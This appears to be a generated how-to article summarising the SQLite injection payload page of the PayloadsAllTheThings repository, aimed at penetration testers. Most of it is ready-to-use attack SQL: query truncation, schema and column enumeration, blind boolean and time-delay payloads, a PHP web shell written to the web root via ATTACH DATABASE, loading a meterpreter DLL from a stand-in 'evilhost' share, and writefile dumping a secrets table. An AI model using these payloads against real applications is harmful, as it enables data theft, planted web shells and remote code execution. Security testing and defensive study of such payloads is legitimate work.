# SQLite Specific SQL Injection Payloads: A Complete Guide from PayloadsAllTheThings

> Explore SQLite specific SQL injection payloads from PayloadsAllTheThings to extract data or gain remote code execution. Learn techniques for embedded databases.

- Repository: [Swissky/PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
- Tags: how-to-guide
- Published: 2026-03-01

---

**SQLite specific SQL injection payloads leverage comments, enumeration queries, blind boolean/time-based techniques, and file manipulation primitives to extract data or achieve remote code execution in embedded databases.**

The **swisskyrepo/PayloadsAllTheThings** repository maintains a community-driven collection of SQLite specific SQL injection payloads targeting the lightweight, serverless database engine. These techniques are documented in `SQL Injection/SQLite Injection.md` and provide ready-to-use SQL snippets for penetration testers and security researchers. Because SQLite ships with embedded applications, mobile apps, and IoT devices, these methods are critical for testing client-side and local-file attack surfaces.

## Comment Syntax and Query Termination

SQLite supports standard SQL comment syntax that attackers use to truncate the original query and append malicious SQL. According to the source code in `SQL Injection/SQLite Injection.md`, single-line comments begin with `--` while multi-line comments use `/**/` syntax to neutralize trailing query fragments.

```sql
--   <-- single-line comment
/**/ <-- multi-line comment

```

## Database Enumeration Techniques

### Version Discovery

To identify the SQLite engine version, invoke the `sqlite_version()` function. This returns the specific release number, helping attackers tailor database-specific syntax for subsequent queries.

```sql
select sqlite_version();

```

### Schema Enumeration

Query the `sqlite_master` table to list user-created tables while filtering system objects. The `group_concat()` function aggregates results into a single string for easier extraction.

```sql
SELECT group_concat(tbl_name) 
FROM sqlite_master 
WHERE type='table' 
  AND tbl_name NOT LIKE 'sqlite_%';

```

### Column Extraction

Use `pragma_table_info()` to extract column names from a target table. This SQLite-specific pragma inspects table definitions without requiring information_schema access.

```sql
SELECT GROUP_CONCAT(name) 
FROM pragma_table_info('users');

```

## Boolean-Based Blind Injection

When error messages are suppressed, blind techniques infer data through conditional responses. The repository provides payloads that force a runtime error when a condition evaluates to false using `load_extension()`, creating a distinguishable difference between true and false states.

```sql
AND CASE WHEN (SELECT count(*) FROM users) > 0 THEN 1 ELSE load_extension(1) END

```

## Time-Based Detection

For scenarios where boolean indicators fail, time-based payloads induce measurable delays using `randomblob()`. The following payload generates approximately a 5-second delay when the condition is true, confirming logic through response timing.

```sql
AND 1337=LIKE('ABCDEFG',
    UPPER(HEX(RANDOMBLOB(5000000000/2))))

```

## Remote Code Execution Vectors

SQLite offers advanced primitives for code execution when specific features are enabled. The `ATTACH DATABASE` command allows writing files to the filesystem, while `load_extension()` can execute native operating system libraries.

### Web Shell Creation via ATTACH DATABASE

This technique writes a PHP shell to the web root by creating a database file with an executable extension. As implemented in `SQL Injection/SQLite Injection.md`, the attacker attaches a new database path, creates a table, and inserts a PHP payload into the file structure.

```sql
ATTACH DATABASE '/var/www/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) 
VALUES ('<?php system($_GET["cmd"]); ?>');

```

### Native Extension Loading

If the `load_extension()` feature is compiled and enabled, attackers can load malicious DLLs from remote SMB shares or local paths to execute arbitrary code outside the database context.

```sql
SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');

```

## File System Manipulation

SQLite provides the non-standard `writefile()` function for direct file operations. As documented in the source file, this allows arbitrary file creation on the underlying operating system by selecting data into a specified path.

```sql
SELECT writefile('/tmp/evil.txt', data) 
FROM secrets;

```

## Summary

- **SQLite specific SQL injection payloads** in PayloadsAllTheThings target embedded applications through `sqlite_master` enumeration and `pragma_table_info()` column extraction.
- **Comment syntax** (`--`, `/**/`) terminates original queries to allow payload injection without syntax errors.
- **Blind techniques** leverage `load_extension()` errors and `randomblob()` delays for inference-based data extraction when verbose errors are disabled.
- **Remote code execution** is achievable through `ATTACH DATABASE` file writing and `load_extension()` DLL loading when dangerous features are enabled.
- All payloads are cataloged in `SQL Injection/SQLite Injection.md` with methodology tables mapping attack goals to specific SQL statements.

## Frequently Asked Questions

### What makes SQLite SQL injection different from other database systems?

SQLite injection targets a file-based, serverless engine commonly embedded in mobile and desktop applications. Unlike client-server databases, SQLite operates on local files, making `ATTACH DATABASE` and `writefile()` particularly dangerous for file system compromise on the host device.

### How does the `randomblob()` function enable time-based detection?

The `randomblob()` function generates random binary data, and when passed a large argument (e.g., 5000000000 bytes), it consumes significant CPU cycles. Attackers wrap this in `HEX()` and `LIKE()` comparisons to create measurable delays, confirming true/false conditions without visible error messages in the application response.

### Can SQLite injection lead to remote code execution on the server?

Yes, if SQLite is compiled with extension loading enabled, the `load_extension()` function can execute native operating system libraries. Additionally, the `ATTACH DATABASE` primitive allows writing executable files (like PHP shells) to the web root, achieving code execution through file system manipulation as detailed in `SQL Injection/SQLite Injection.md`.

### Where can I find the complete list of SQLite payloads from this analysis?

The comprehensive collection resides in the `SQL Injection/SQLite Injection.md` file within the **swisskyrepo/PayloadsAllTheThings** repository. This file contains methodology tables, additional error-based payloads, and references to external exploit documentation for SQLite-specific attack vectors.